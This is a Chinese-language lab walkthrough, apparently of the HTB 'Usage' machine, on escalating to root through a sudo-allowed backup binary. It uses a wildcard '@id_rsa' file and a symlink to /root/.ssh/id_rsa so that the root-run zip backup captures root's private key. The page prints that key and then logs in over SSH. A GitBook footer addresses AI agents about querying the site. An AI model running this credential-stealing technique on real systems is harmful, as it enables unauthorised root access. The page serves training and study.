> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# Sudo 备份二进制文件符号链接 - Linux 权限提升

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（备份二进制文件/符号链接）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

### Sudoers 二进制利用：

通过运行 `sudo -l` 作为一个 `xander` 用户，你可以运行 `usage_management` 二进制程序，具有三个选项：

1. *`项目备份`*
2. *`备份 MySQL 数据`*
3. *`重置管理员密码`*

<figure><img src="/files/477efba122341d0443736513df878b3339741110" alt=""><figcaption></figcaption></figure>

通过选择第一个选项（“项目备份”），程序会创建一个 `.zip` 包含备份的文件，作为一个 `root` 用户。

<figure><img src="/files/99f675f7370473d2ac2554bdfc6ecc5d1d22e319" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a14b5893b1b69bf18d467786b949907d3fed4fe2" alt=""><figcaption></figcaption></figure>

### 二进制分析（GHIDRA）

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

安装并运行 GHIDRA 以扫描二进制文件：

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/b8343581f0e924b1269a05326a13f811d0d73bfe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b543b0f5a0155147909f6e1f978421a056bb5263" alt=""><figcaption></figcaption></figure>

* 在 `项目备份` 功能，此功能会压缩 `/var/www/html` 在一个 `project.zip` 文件，并以 root 权限创建。

<figure><img src="/files/36adb9a38866571d680d58a7f652949dc6c3e91b" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**创建了一个符号链接以访问 SSH root 密钥**：要利用此功能，请在 `html` 目录

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/6747e4c88f4a7f555612e862d93c8b3ab2d02187" alt=""><figcaption></figcaption></figure>

**以 root 用户执行脚本**:

* 启动脚本 `usage_management` :

<figure><img src="/files/abbd183ef37213f7158074aa5f9207a0facdbc1d" alt=""><figcaption></figcaption></figure>

* 在 `project.zip` 文件，获取 root 私钥（`id_rsa`).

<figure><img src="/files/ed985af48d8b21156fd4dd6196163f346b7d6039" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**使用 root 密钥的 SSH 连接**:

* 使用该密钥以 root 身份登录：

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/a110541fae2b06407bbf147be0fc3ba363fb4114" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
